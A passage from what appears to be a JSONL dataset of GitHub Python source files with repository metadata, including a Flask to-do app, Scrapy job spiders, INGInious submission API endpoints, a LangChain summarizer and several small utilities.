reporter.report({'rot_acc': self.rot_acc}, self)\n reporter.report({'5cm5deg': self.eval_rate}, self)\n return self.loss\n","repo_name":"CNchence/cp-net","sub_path":"cp_net/classifiers/dual_cp_classifier.py","file_name":"dual_cp_classifier.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16018054795","text":"def isMonotonic(array):\n if len(array) == 1 or len(array) == 0:\n return True\n count_iter = 0\n initial_trend = None\n while count_iter + 1 < len(array):\n if array[count_iter] != array[count_iter + 1]:\n current_trend = array[count_iter] < array[count_iter + 1]\n if initial_trend is None:\n initial_trend = current_trend\n following_trend = current_trend\n if initial_trend != following_trend:\n return False\n count_iter += 1\n return True\n\nprint(isMonotonic([1, 1, 2, 3, 4, 5, 5, 5, 6, 7, 8, 8, 9, 10, 11]))","repo_name":"ekateryna-rodina/problem-solving","sub_path":"monotonic.py","file_name":"monotonic.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30200716636","text":"from crypt import methods\nfrom flask import Flask, render_template, request, redirect, url_for, session\nimport os\nimport pymongo\nfrom bson.objectid import ObjectId\nfrom dbc import URI\nMONGODB_URI = URI\nclient = pymongo.MongoClient(MONGODB_URI)\ndb = client.TODOpy\napp = Flask(__name__)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\ntodo_list = list()\n\n\n# this decorator create the home route\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n # show_data()\n tasks = db.tasks.find()\n if request.method == 'GET':\n return render_template('index.html', title='TODOpy', tasks=tasks)\n if request.method == 'POST':\n topic = request.form['topic']\n due_date = request.form['date']\n if topic and due_date != '':\n db.tasks.insert_one({'topic': topic, 'due_date': due_date})\n return redirect('/')\n else:\n return render_template('index.html', title='TODOpy', tasks=tasks)\n\n#methods=['GET', 'POST']\n\n\n@app.route('/update', methods=['GET', 'POST'])\ndef update():\n return render_template('update.html', title='TODOpy')\n\n\n@app.route('/<id>/delete/', methods=['POST'])\ndef delete(id):\n db.tasks.delete_one({\"_id\": ObjectId(id)})\n return redirect('/')\n\n\n# if __name__ == '__main__':\n# #port = int(os.environ.get(\"PORT\", 5000))\n# #app.run(debug=True, host='0.0.0.0', port=port)\n# app.run()\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"fuadh246/TODO_py","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74325841039","text":"# -*- coding: utf-8 -*-\nimport re\nimport json\nimport scrapy\nfrom datetime import datetime\nfrom urllib import parse as ps\nfrom scrapy_redis.spiders import RedisSpider\nfrom Positionspider.items import PositionspiderItem\n\nclass ZhilianSpider(RedisSpider):\n name = 'zhilian'\n # allowed_domains = ['sou.zhilain.com']\n # start_urls = ['http://sou.zhilain.com/']\n search_url = \"https://fe-api.zhaopin.com/c/i/sou?pageSize=90&cityId=489&workExperience=-1&education=-1&companyType=-1&employmentType=-1&jobWelfareTag=-1&kw={keyword}&kt=3\"\n next_url = \"https://fe-api.zhaopin.com/c/i/sou?start={start}&pageSize=90&cityId=489&workExperience=-1&education=-1&companyType=-1&employmentType=-1&jobWelfareTag=-1&kw={keyword}&kt=3\"\n\n def start_requests(self):\n joblist = json.load(open(r'/project/joblist.json','r',encoding='utf-8'))[0]\n keywords = [[tag,postion] for tag in joblist.keys() for postion in joblist.get(tag,[]) ]\n for tag,position in keywords:\n keyword = ps.quote(position if tag in position else \"%s %s\"%(tag,position))\n yield scrapy.Request(self.search_url.format(keyword=keyword),callback=self.parse,meta={'tag':tag,'position':position,'keyword':keyword,'pagenum':1})\n\n\n def parse(self, response):\n result = json.loads(response.text)\n tag = response.meta['tag']\n position = response.meta['position']\n keyword = response.meta['keyword']\n pagenum = response.meta['pagenum']\n for data in result['data'].get('results'):\n item = PositionspiderItem()\n item['tag'] = tag\n item['position'] = position\n item['crawl_date'] = str(datetime.now().date())\n item['job_name'] = data.get('jobName')\n item['job_category'] = data.get('jobType',{}).get('display')\n item['company_name'] = data.get('company',{}).get('name')\n item['company_scale'] = data.get('company',{}).get('size').get('name')\n item['experience'] = data.get('workingExp',{}).get('name')\n item['edu'] = data.get('eduLevel',{}).get('name')\n item['salary'] = data.get('salary')\n item['job_location'] = data.get('city',{}).get('display')\n info_url = data.get('positionURL')\n yield scrapy.Request(info_url,callback=self.parse_item,meta={'item':item})\n count = int(result['data'].get('numFound'))\n pagenum +=1\n yield scrapy.Request(url=self.next_url.format(start=(pagenum-1)*90,keyword=keyword),callback=self.parse,meta={'tag':tag,'position':position,'keyword':keyword,'pagenum':pagenum} )\n #定义处理长文本的函数\n def longtextsplit(self,longtext):\n if type(longtext) == str:\n list_obj =[re.sub(r'\\s{3,}','',i.strip()) for i in re.split(r'[\\uFF08|\\(]?\\d+\\s?[\\u3001|\\.|\\uFF09|\\)|\\uFF0C|\\,]+',re.sub(r'[\\r|\\n|\\t]','',longtext))]\n return list_obj\n else:\n return \"\"\n\n def parse_item(self, response):\n # with open('file.html','w',encoding='utf-8') as fp:\n # fp.write(response.text)\n item = response.meta['item']\n item['company_addr'] = response.xpath(\"//span[@class='job-address__content-text']/text()\").extract_first()\n item['job_info'] = self.longtextsplit(response.xpath('string(//div[@class=\"describtion\"])').extract_first())\n yield item\n\n\n","repo_name":"Garfield247/PositionSpider","sub_path":"Positionspider/spiders/zhilian.py","file_name":"zhilian.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26751378226","text":"import pandas as pd\nimport numpy as np\n\nclass Preprocessor():\n def __init__(self):\n print(\"Preprocessor is Operating\")\n\n def preprocessing(self, dir):\n df = pd.read_csv(dir)\n\n drop_df_candidate = df[(df['DAYS_EMPLOYED']) > 0].index\n df.loc[drop_df_candidate, 'DAYS_EMPLOYED'] = 0\n\n drop_columns = ['index', 'FLAG_MOBIL', 'child_num', 'occyp_type']\n df.drop(columns=drop_columns, axis=1, inplace=True)\n\n object_variables = [\"house_type\", \"income_type\"]\n\n df = encode_all_order_type(df)\n # df = dummy_object(df, object_variables)\n\n df = encode_YN(df)\n\n return df\n\n def preprocessing_for_analysis(self, dir):\n df = pd.read_csv(dir)\n\n drop_columns = ['index', 'FLAG_MOBIL']\n df.drop(columns=drop_columns, axis=1, inplace=True)\n\n df = control_outliner(df)\n df = encode_date(df)\n df = encode_YN(df)\n return df\n\ndef control_outliner(df):\n df.loc[df['child_num'] > 2, 'child_num'] = 3\n\n df['occyp_type'] = df['occyp_type'].fillna('NAN')\n\n return df\n\ndef dummy_object(df, object_variables):\n dummied_df = pd.get_dummies(df[object_variables])\n concat_df = pd.concat([df, dummied_df], axis=1)\n concat_df = concat_df.drop(columns=object_variables)\n return concat_df\n\ndef encode_YN(df):\n df['reality'] = df['reality'].apply(encode_yes_no)\n df['gender'] = df['gender'].apply(encode_gender)\n df['car'] = df['car'].apply(encode_yes_no)\n\n return df\n\ndef encode_gender(item):\n if item == 'M' or item == 1:\n return 1\n else:\n return 0\n\ndef encode_yes_no(item):\n if item == 'Y' or item == 1:\n return 1\n else:\n return 0\n\ndef encode_all_order_type(df) :\n df[\"edu_type\"] = df[\"edu_type\"].apply(encode_edu_type)\n df[\"family_type\"] = df[\"family_type\"].apply(encode_family_type)\n\n return df\n\ndef encode_family_type(item):\n types = ['Married', 'Civil marriage', 'Separated', 'Single / not married', 'Widow']\n\n return types.index(item)\n\ndef encode_edu_type(item):\n types = ['Higher education', 'Secondary / secondary special', 'Incomplete higher', 'Lower secondary',\n 'Academic degree']\n\n return types.index(item)\n\ndef remove_outlier(train, column):\n df = train[column]\n # 1분위수\n quan_25 = np.percentile(df.values, 25)\n\n # 3분위수\n quan_75 = np.percentile(df.values, 75)\n\n iqr = quan_75 - quan_25\n\n lowest = quan_25 - iqr * 1.5\n highest = quan_75 + iqr * 1.5\n outlier_index = df[(df < lowest) | (df > highest)].index\n train.drop(outlier_index, axis=0, inplace=True)\n\n return train\n","repo_name":"ICJH-DACON/Credit_card_DACON","sub_path":"Preprocessor.py","file_name":"Preprocessor.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35263520074","text":"import base64\nimport gettext\nimport flask\n\nfrom inginious.frontend.pages.api._api_page import APIAuthenticatedPage, APINotFound, APIForbidden, APIInvalidArguments, APIError\n\n\ndef _get_submissions(course_factory, submission_manager, user_manager, translations, courseid, taskid, with_input, submissionid=None):\n \"\"\"\n Helper for the GET methods of the two following classes\n \"\"\"\n\n try:\n course = course_factory.get_course(courseid)\n except:\n raise APINotFound(\"Course not found\")\n\n if not user_manager.course_is_open_to_user(course, lti=False):\n raise APIForbidden(\"You are not registered to this course\")\n\n try:\n task = course.get_task(taskid)\n except:\n raise APINotFound(\"Task not found\")\n\n if submissionid is None:\n submissions = submission_manager.get_user_submissions(task)\n else:\n try:\n submissions = [submission_manager.get_submission(submissionid)]\n except:\n raise APINotFound(\"Submission not found\")\n if submissions[0][\"taskid\"] != task.get_id() or submissions[0][\"courseid\"] != course.get_id():\n raise APINotFound(\"Submission not found\")\n\n output = []\n\n for submission in submissions:\n submission = submission_manager.get_feedback_from_submission(\n submission,\n show_everything=user_manager.has_staff_rights_on_course(course, user_manager.session_username()),\n translation=translations.get(user_manager.session_language(), gettext.NullTranslations())\n )\n data = {\n \"id\": str(submission[\"_id\"]),\n \"submitted_on\": str(submission[\"submitted_on\"]),\n \"status\": submission[\"status\"]\n }\n\n if with_input:\n data[\"input\"] = submission_manager.get_input_from_submission(submission, True)\n\n # base64 encode file to allow JSON encoding\n for d in data[\"input\"]:\n if isinstance(d, dict) and d.keys() == {\"filename\", \"value\"}:\n d[\"value\"] = base64.b64encode(d[\"value\"]).decode(\"utf8\")\n\n if submission[\"status\"] == \"done\":\n data[\"grade\"] = submission.get(\"grade\", 0)\n data[\"result\"] = submission.get(\"result\", \"crash\")\n data[\"feedback\"] = submission.get(\"text\", \"\")\n data[\"problems_feedback\"] = submission.get(\"problems\", {})\n\n output.append(data)\n\n return 200, output\n\n\nclass APISubmissionSingle(APIAuthenticatedPage):\n r\"\"\"\n Endpoint\n ::\n\n /api/v0/courses/[a-zA-Z_\\-\\.0-9]+/tasks/[a-zA-Z_\\-\\.0-9]+/submissions/[a-zA-Z_\\-\\.0-9]+\n\n \"\"\"\n\n def API_GET(self, courseid, taskid, submissionid): # pylint: disable=arguments-differ\n \"\"\"\n List all the submissions that the connected user made. Returns list of the form\n\n ::\n\n [\n {\n \"id\": \"submission_id1\",\n \"submitted_on\": \"date\",\n \"status\" : \"done\", #can be \"done\", \"waiting\", \"error\" (execution status of the task).\n \"grade\": 0.0,\n \"input\": {}, #the input data. File are base64 encoded.\n \"result\" : \"success\" #only if status=done. Result of the execution.\n \"feedback\": \"\" #only if status=done. the HTML global feedback for the task\n \"problems_feedback\": #only if status=done. HTML feedback per problem. Some pid may be absent.\n {\n \"pid1\": \"feedback1\",\n #...\n }\n }\n #...\n ]\n\n If you use the endpoint /api/v0/courses/the_course_id/tasks/the_task_id/submissions/submissionid,\n this dict will contain one entry or the page will return 404 Not Found.\n \"\"\"\n with_input = \"input\" in flask.request.args\n\n return _get_submissions(self.course_factory, self.submission_manager, self.user_manager, self.app.l10n_manager.translations, courseid, taskid, with_input, submissionid)\n\n\nclass APISubmissions(APIAuthenticatedPage):\n r\"\"\"\n Endpoint\n ::\n\n /api/v0/courses/[a-zA-Z_\\-\\.0-9]+/tasks/[a-zA-Z_\\-\\.0-9]+/submissions\n\n \"\"\"\n\n def API_GET(self, courseid, taskid): # pylint: disable=arguments-differ\n \"\"\"\n List all the submissions that the connected user made. Returns dicts in the form\n\n ::\n\n [\n {\n \"id\": \"submission_id1\",\n \"submitted_on\": \"date\",\n \"status\" : \"done\", #can be \"done\", \"waiting\", \"error\" (execution status of the task).\n \"grade\": 0.0,\n \"input\": {}, #the input data. File are base64 encoded.\n \"result\" : \"success\" #only if status=done. Result of the execution.\n \"feedback\": \"\" #only if status=done. the HTML global feedback for the task\n \"problems_feedback\": #only if status=done. HTML feedback per problem. Some pid may be absent.\n {\n \"pid1\": \"feedback1\",\n #...\n }\n }\n #...\n ]\n\n If you use the endpoint /api/v0/courses/the_course_id/tasks/the_task_id/submissions/submissionid,\n this dict will contain one entry or the page will return 404 Not Found.\n \"\"\"\n with_input = \"input\" in flask.request.args\n\n return _get_submissions(self.course_factory, self.submission_manager, self.user_manager, self.app.l10n_manager.translations, courseid, taskid, with_input)\n\n def API_POST(self, courseid, taskid): # pylint: disable=arguments-differ\n \"\"\"\n Creates a new submissions. Takes as (POST) input the key of the subproblems, with the value assigned each time.\n\n Returns\n\n - an error 400 Bad Request if all the input is not (correctly) given,\n - an error 403 Forbidden if you are not allowed to create a new submission for this task\n - an error 404 Not found if the course/task id not found\n - an error 500 Internal server error if the grader is not available,\n - 200 Ok, with {\"submissionid\": \"the submission id\"} as output.\n \"\"\"\n\n try:\n course = self.course_factory.get_course(courseid)\n except:\n raise APINotFound(\"Course not found\")\n\n username = self.user_manager.session_username()\n\n if not self.user_manager.course_is_open_to_user(course, username, False):\n raise APIForbidden(\"You are not registered to this course\")\n\n try:\n task = course.get_task(taskid)\n except:\n raise APINotFound(\"Task not found\")\n\n self.user_manager.user_saw_task(username, courseid, taskid)\n\n # Verify rights\n if not self.user_manager.task_can_user_submit(task, username, False):\n raise APIForbidden(\"You are not allowed to submit for this task\")\n\n user_input = flask.request.form.copy()\n for problem in task.get_problems():\n pid = problem.get_id()\n if problem.input_type() == list:\n user_input[pid] = flask.request.form.getlist(pid)\n elif problem.input_type() == dict:\n user_input[pid] = flask.request.files.get(pid)\n else:\n user_input[pid] = flask.request.form.get(pid)\n\n user_input = task.adapt_input_for_backend(user_input)\n\n if not task.input_is_consistent(user_input, self.default_allowed_file_extensions, self.default_max_file_size):\n raise APIInvalidArguments()\n\n # Get debug info if the current user is an admin\n debug = self.user_manager.has_admin_rights_on_course(course, username)\n\n\n # Start the submission\n try:\n submissionid, _ = self.submission_manager.add_job(task, user_input, course.get_task_dispenser(), debug)\n return 200, {\"submissionid\": str(submissionid)}\n except Exception as ex:\n raise APIError(500, str(ex))\n","repo_name":"UCL-INGI/INGInious","sub_path":"inginious/frontend/pages/api/submissions.py","file_name":"submissions.py","file_ext":"py","file_size_in_byte":8383,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"29"} +{"seq_id":"16128049055","text":"from datetime import datetime\nimport uuid\n\n\nclass Event:\n def __init__(self, title, start_time, end_time, description: str = \"This Event added by api\"):\n self.id = str(uuid.uuid4())\n self.title: str = title\n self.start_time: datetime = start_time\n self.end_time: datetime = end_time\n self.description = description\n\n def tojson(self):\n return { \n \"id\": self.id,\n \"api\": {\n \"summary\": self.title,\n \"description\": self.description,\n 'start': {\n 'dateTime': self.start_time.isoformat() + 'Z',\n 'timeZone': \"Asia/Dhaka\",\n },\n 'end': {\n 'dateTime': self.end_time.isoformat() + 'Z',\n 'timeZone': \"Asia/Dhaka\",\n }\n }\n }\n\n ","repo_name":"xementor/timer2calender_event","sub_path":"app/models/Event.py","file_name":"Event.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35624310857","text":"#!/usr/bin/python3\n\"\"\"\ntext indent° function\n\"\"\"\n\n\ndef text_indentation(text):\n \"\"\" Print text with two lines \"\"\"\n\n zab = [\"?\", \":\", \".\"]\n test1 = False\n if type(text) is not str:\n raise TypeError('text must be a string')\n for i in range(0, len(text)):\n prev = text[i - 1]\n if prev in zab:\n test1 = True\n test2 = text[i] == \" \"\n if test1 and test2:\n print(text[i], end=\"\")\n elif text[i] in zab:\n print(text[i])\n print()\n else:\n print(text[i], end=\"\")\n print()\n","repo_name":"medcharfi96/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3676980389","text":"import gym\r\nfrom gym import spaces\r\nimport numpy as np\r\nfrom .WoW import WoW\r\n\r\nclass WoW_env(gym.Env):\r\n # metadata = {'render.modes' : ['human']}\r\n def __init__(self):\r\n self.game = WoW()\r\n self.action_space = spaces.Discrete(22)\r\n self.observation_space = spaces.Box(np.array([0, 0, 0, 0, 0, 0, 0, 0]), np.array([1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000]), dtype=np.int) # information about x and y of all players \r\n\r\n def reset(self):\r\n del self.game\r\n self.game = WoW()\r\n obs = self.game.Observe()\r\n\r\n return obs\r\n\r\n def step(self, action):\r\n self.game.Action(action)\r\n obs = self.game.Observe()\r\n reward = self.game.Evaluate()\r\n done = self.game.Is_Done()\r\n\r\n return obs, reward, done, {}\r\n ","repo_name":"ZealotTv/DeepQLearningForWoW","sub_path":"WoW/WoW_env/WoW_env.py","file_name":"WoW_env.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"16295181351","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom glow.effects.effect import Effect\n\nlogger = logging.getLogger(__name__)\n\n\nclass WheelEffect(Effect):\n def __init__(self, name: str, offset=1, clockwise=True):\n super().__init__(name)\n self._offset = offset\n self._clockwise = clockwise\n\n def offset(self) -> None:\n for _ in range(self._offset):\n if self._clockwise:\n self._offsets.insert(0, self._offsets.pop(len(self._offsets) - 1))\n else:\n self._offsets.insert(len(self._offsets) - 1, self._offsets.pop(0))\n\n logger.debug(\"New offsets {}\".format(self._offsets))\n","repo_name":"Lowess/glow","sub_path":"lib/glow/effects/wheel_effect.py","file_name":"wheel_effect.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74866303437","text":"from itertools import product\nimport logging\nfrom webscraper.models.tasks import TaskModel\nfrom webscraper.models.products import ProductModel\nfrom webscraper.flask import api, app\nfrom webscraper.flask.routes import TaskApi, bp, profile\nfrom webscraper.flask.routes import ProductApi, ProfileApi\nfrom webscraper.flask.monitor import MonitorThread\nfrom webscraper.utility.utils import db, add_to_database, get_from_database\nimport requests\nfrom flask import Flask\nimport threading\nimport time\n\n\n@app.before_first_request\ndef activate_job():\n logging.info(\"Starting thread\")\n thread = MonitorThread()\n thread.start()\n\n\ndef start_runner():\n def start_loop():\n not_started = True\n while not_started:\n logging.debug(\"Checking monitor thread status...\")\n try:\n r = requests.get(\"http://127.0.0.1:5000/\")\n if r.status_code == 200:\n logging.debug(\"Server started, quiting start_loop...\")\n not_started = False\n logging.debug(\"Started monitor thread.\")\n except:\n logging.debug(\"Server not yet started.\")\n time.sleep(2)\n\n logging.debug(\"Started runner\")\n thread = threading.Thread(target=start_loop)\n thread.start()\n\n\nif __name__ == \"__main__\":\n\n api.add_resource(\n ProductApi,\n \"/api/product\",\n \"/api/product/<int:product_id>\",\n \"/api/products\",\n \"/api/products/<int:product_id>\",\n )\n api.add_resource(\n ProfileApi,\n \"/api/profile\",\n \"/api/profile/<int:id>\",\n \"/api/profiles\",\n \"/api/profiles/<int:id>\",\n )\n\n # api.add_resource(HistoryApi, \"/api/history\", \"/api/history/<int:id>\")\n api.add_resource(\n TaskApi, \"/api/task\", \"/api/task/<int:id>\", \"/api/tasks/<int:id>\", \"/api/tasks\"\n )\n app.register_blueprint(bp)\n # mt = MonitorThread()\n # mt.run()\n\n # mt = MonitorThread()\n # get_from_database(ProductModel)\n start_runner()\n app.run(host=\"0.0.0.0\")","repo_name":"anthonyma94/WebScraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32700587442","text":"from fastapi import APIRouter, Request, Depends\nfrom fastapi.templating import Jinja2Templates\nfrom celery_worker import parsing_celery, celery, checking\nimport redis\nimport uuid\nfrom parse_try import converter\nfrom celery_status_check import get_celery_worker_status\n\nrouter = APIRouter(include_in_schema=False)\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\n# @router.get(\"/check_redis/\")\n# def new_parse_home(request: Request):\n# return templates.TemplateResponse(\"check_redis.html\", {\"request\": request})\n\n# @router.post(\"/check_redis/\")\n# async def checking_redis(request: Request):\n# form = await request.form()\n# number_adds = int(form.get(\"num_adds\"))\n# mail = form.get(\"email\")\n \n# try:\n# city = form.get(\"city\")\n# price1 = int(form.get(\"price1\"))\n# price2 = int(form.get(\"price2\"))\n# except:\n# city = None\n# price1 = None\n# price2 = None\n# r = redis.Redis(charset=\"utf-8\", decode_responses=True)\n# data = {\n# \"email\": str(mail),\n# \"number_of_adds\": str(number_adds),\n# \"city\": str(city), \n# \"price1\": str(price1),\n# \"price2\": str(price2) \n# }\n# ttl = 604800\n# parse_id = str(uuid.uuid4())\n\n\n# for key in r.keys():\n# if r.hgetall(key) == data:\n# return {\"Message\": \"This request is finded\"}\n# r.hmset(parse_id, data)\n# r.expire(parse_id, ttl)\n# return {\"Message\": \"Parsing started\"}\n\n\n\n@router.get(\"/\")\ndef home(request: Request):\n return templates.TemplateResponse(\"homepage.html\", {\"request\": request})\n\n@router.get(\"/new_parser/\")\ndef new_parse_home(request: Request):\n list_of_celery = get_celery_worker_status()\n return templates.TemplateResponse(\"new_parser_page.html\", {\"request\": request, \"list_of_celery\": list_of_celery})\n\n@router.post(\"/new_parser/\")\nasync def create_new_parser(request: Request):\n form = await request.form()\n number_adds = int(form.get(\"num_adds\"))\n mail = form.get(\"email\")\n \n try:\n city = form.get(\"city\")\n price1 = int(form.get(\"price1\"))\n price2 = int(form.get(\"price2\"))\n except:\n city = None\n price1 = None\n price2 = None\n\n if price1 is not None and price2 is not None:\n if price1 > price2:\n return {\"Message\": \"<Price1> can't be more than <price2>\"}\n else:\n celery_id = parsing_celery.delay(mail, number_adds, city, price1, price2)\n celery_id_result = celery_id.id\n result = celery.AsyncResult(celery_id_result)\n cars_value = result.get()\n # return cars_value\n converter()\n return templates.TemplateResponse(\"kolesa.html\", {\"request\": request})\n print(\"phase3\")\n \n # asyncres = checking_cash(mail, number_adds, city, price1, price2)\n # asyncres_id = asyncres.id\n # result = celery.AsyncResult(asyncres_id)\n\n celery_id = parsing_celery.delay(mail, number_adds, city, price1, price2)\n # celery_id_result = celery_id.id\n # result = celery.AsyncResult(celery_id_result)\n \n print(celery.state)\n # cars_value = result.get()\n # return cars_value\n converter()\n return templates.TemplateResponse(\"kolesa.html\", {\"request\": request})\n # return checking_cash(mail, number_adds, city, price1, price2)\n\n\n# @router.get(\"/history/\")\n# def show_history(request: Request):\n# history_list = open_history_by_id()\n# titles = get_titles()\n# return templates.TemplateResponse(\"history.html\", {\"request\": request, \"history_list\": history_list, \"titles\": titles})\n\n\n@router.get(\"/settask/\")\ndef settask(request: Request):\n res = checking.delay()\n result = res.id\n return result\n\n@router.get(\"/gettask/{task_id}\")\ndef gettask(request: Request, task_id):\n r3 = redis.Redis(charset=\"utf-8\", decode_responses=True, db=3) \n task_id = task_id\n task_redis_name = f'celery-task-meta-{task_id}'\n if task_redis_name in r3.keys():\n result = celery.AsyncResult(task_id)\n return result.state\n return \"No id was provided\"\n","repo_name":"baigonusd/parser_tasks","sub_path":"backend/app/routers/parsers_front.py","file_name":"parsers_front.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17840793410","text":"from langchain import OpenAI, PromptTemplate\nfrom langchain.prompts import PromptTemplate\nfrom langchain.chains.summarize import load_summarize_chain\nfrom langchain.chat_models import ChatOpenAI\nfrom .base_operator import BaseOperator\n\nfrom ai_context import AiContext\n\n\nclass Summarize(BaseOperator):\n @staticmethod\n def declare_name():\n return 'Summarize Content'\n \n @staticmethod\n def declare_category():\n return BaseOperator.OperatorCategory.AI.value\n\n @staticmethod\n def declare_parameters():\n return [\n {\n \"name\": \"temperature\",\n \"data_type\": \"float\",\n \"placeholder\": \"Enter Temperature (Optional: Default is 0.2)\"\n }\n ]\n\n @staticmethod\n def declare_inputs():\n return [ \n {\n \"name\": \"rts_processed_content\",\n \"data_type\": \"string\",\n }\n ]\n\n @staticmethod\n def declare_outputs():\n return [\n {\n \"name\": \"summarize_gpt_response\",\n \"data_type\": \"string\",\n }\n ]\n\n def run_step(\n self,\n step,\n ai_context: AiContext\n ):\n params = step['parameters']\n gpt_response = self.process(params=params, ai_context=ai_context)\n ai_context.set_output('summarize_gpt_response', gpt_response, self)\n ai_context.add_to_log(f\"Response from GPT: {gpt_response}\")\n\n def process(self, params, ai_context):\n response = self.chain(\n params=params,\n data=ai_context.get_input('rts_processed_content', self), \n openai_api_key=ai_context.get_secret('openai_token')\n )\n return response\n\n def chain(self, params, data, openai_api_key):\n temperature = params.get('temperature', '0.2')\n # llm = OpenAI(temperature=0, openai_api_key=openai_api_key)\n\n if temperature:\n temperature = float(temperature)\n else:\n temperature = 0.2\n\n llm = ChatOpenAI(openai_api_key=openai_api_key, temperature=temperature)\n chain = load_summarize_chain(llm, chain_type=\"map_reduce\", verbose=True)\n response = chain.run(data)\n return response\n\n\n","repo_name":"ZeroXClem/agenthub_operators","sub_path":"operators/summarize.py","file_name":"summarize.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"72782247118","text":"from typing import Any, Optional\n\nimport numpy as np\nimport pyqtgraph as pg\n\nfrom ..data.load import tof_from_json\nfrom ..data.tools import smoothen\nfrom ..tools import log\n\n\nclass TOFAdapter:\n\n def __init__(self, plot_item: pg.PlotItem) -> None:\n self.plot_item = plot_item\n self.data: tuple[np.ndarray, np.ndarray] | None = None\n self.smoothed_data: tuple[np.ndarray, np.ndarray] | None = None\n self._plot = None\n self._smoothed_plot = None\n\n def _sync_to_video(\n self,\n data: np.ndarray,\n from_n_frames: int,\n to_n_frames: int,\n fps: int,\n ) -> np.ndarray:\n original_frame_duration_ms = 1000 / fps\n resampled_frame_duration_ms = (\n original_frame_duration_ms * from_n_frames / to_n_frames\n )\n resampled_frame_times = np.arange(\n 0,\n to_n_frames * resampled_frame_duration_ms,\n resampled_frame_duration_ms,\n )\n synced_data = np.zeros((to_n_frames, data.shape[1]))\n synced_data[:, 0] = np.arange(to_n_frames)\n\n # perform linear interpolation for the TOF data onto the\n # resampled video's frame times\n # TODO: This can be one off! Check if the first and last frame\n # times are the same or such\n for col in range(1, data.shape[1]):\n synced_data[:, col] = np.interp(\n resampled_frame_times,\n data[:, 0],\n data[:, col],\n )\n\n min_tof = np.min(synced_data[:, 1])\n max_tof = np.max(synced_data[:, 1])\n\n synced_data[:, 1] = 200 - 200 * (\n synced_data[:, 1] - min_tof\n ) / (max_tof - min_tof)\n return synced_data\n\n def set_data(\n self,\n path: str,\n video_metadata: Optional[list[dict[str, Any]]] = None,\n smoothing_level: int = 3,\n ) -> None:\n data = tof_from_json(path)\n if (video_metadata is not None\n and \"fps\" in video_metadata[0]\n and \"frame_count\" in video_metadata[0]):\n data = self._sync_to_video(\n data,\n from_n_frames=video_metadata[0][\"frame_count\"],\n to_n_frames=len(video_metadata),\n fps=video_metadata[0][\"fps\"],\n )\n\n x_data = data[:, 0]\n y_data = data[:, 1]\n y_data = y_data.max() - y_data\n self.data = (x_data, y_data)\n x_smooth, y_smooth = smoothen(\n x_data,\n y_data,\n window_size=smoothing_level,\n )\n self.smoothed_data = (x_smooth, y_smooth)\n\n def toggle_plot(self) -> None:\n if self.data is None:\n log(\"Error: No TOF data loaded\")\n return\n if self._plot is not None:\n self.plot_item.removeItem(self._plot)\n self._plot = None\n if self._smoothed_plot is not None:\n self.plot_item.removeItem(self._smoothed_plot)\n self._smoothed_plot = None\n else:\n self._plot = self.plot_item.plot(\n *self.data,\n pen=\"gray\",\n width=1,\n )\n if self.smoothed_data is not None:\n self._smoothed_plot = self.plot_item.plot(\n *self.smoothed_data,\n pen=\"green\",\n width=1,\n )\n self.plot_item.getViewBox().autoRange() # type: ignore\n self.plot_item.showAxis(\"left\")\n","repo_name":"CodeSchmiedeHGW/BLITZ","sub_path":"blitz/layout/tof.py","file_name":"tof.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"73467819277","text":"import scrapy\nimport re\nfrom datetime import datetime\nfrom datetime import date\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\n\nclass ScraperNameSpider(scrapy.Spider):\n name = \"scraper_name\"\n start_urls = [\n 'https://www.jobs.bg/front_job_search.php?subm=1&categories%5B0%5D=56',\n #'https://www.jobs.bg/front_job_search.php?subm=1&categories%5B0%5D=56&techs%5B0%5D=Python&page=1',\n ]\n n_pages = 35\n \n \n def parse(self, response, **kwargs): \n \n for i in range(2, self.n_pages + 1):\n url = f'https://www.jobs.bg/front_job_search.php?subm=1&categories%5B0%5D=56&techs%5B0%5D=Python&page={i}'\n yield scrapy.Request(url=url, callback=self.parse)\n \n # Get today's date\n today = date.today()\n date_string = today.strftime(\"%d.%m.%y\")\n\n \n for page in 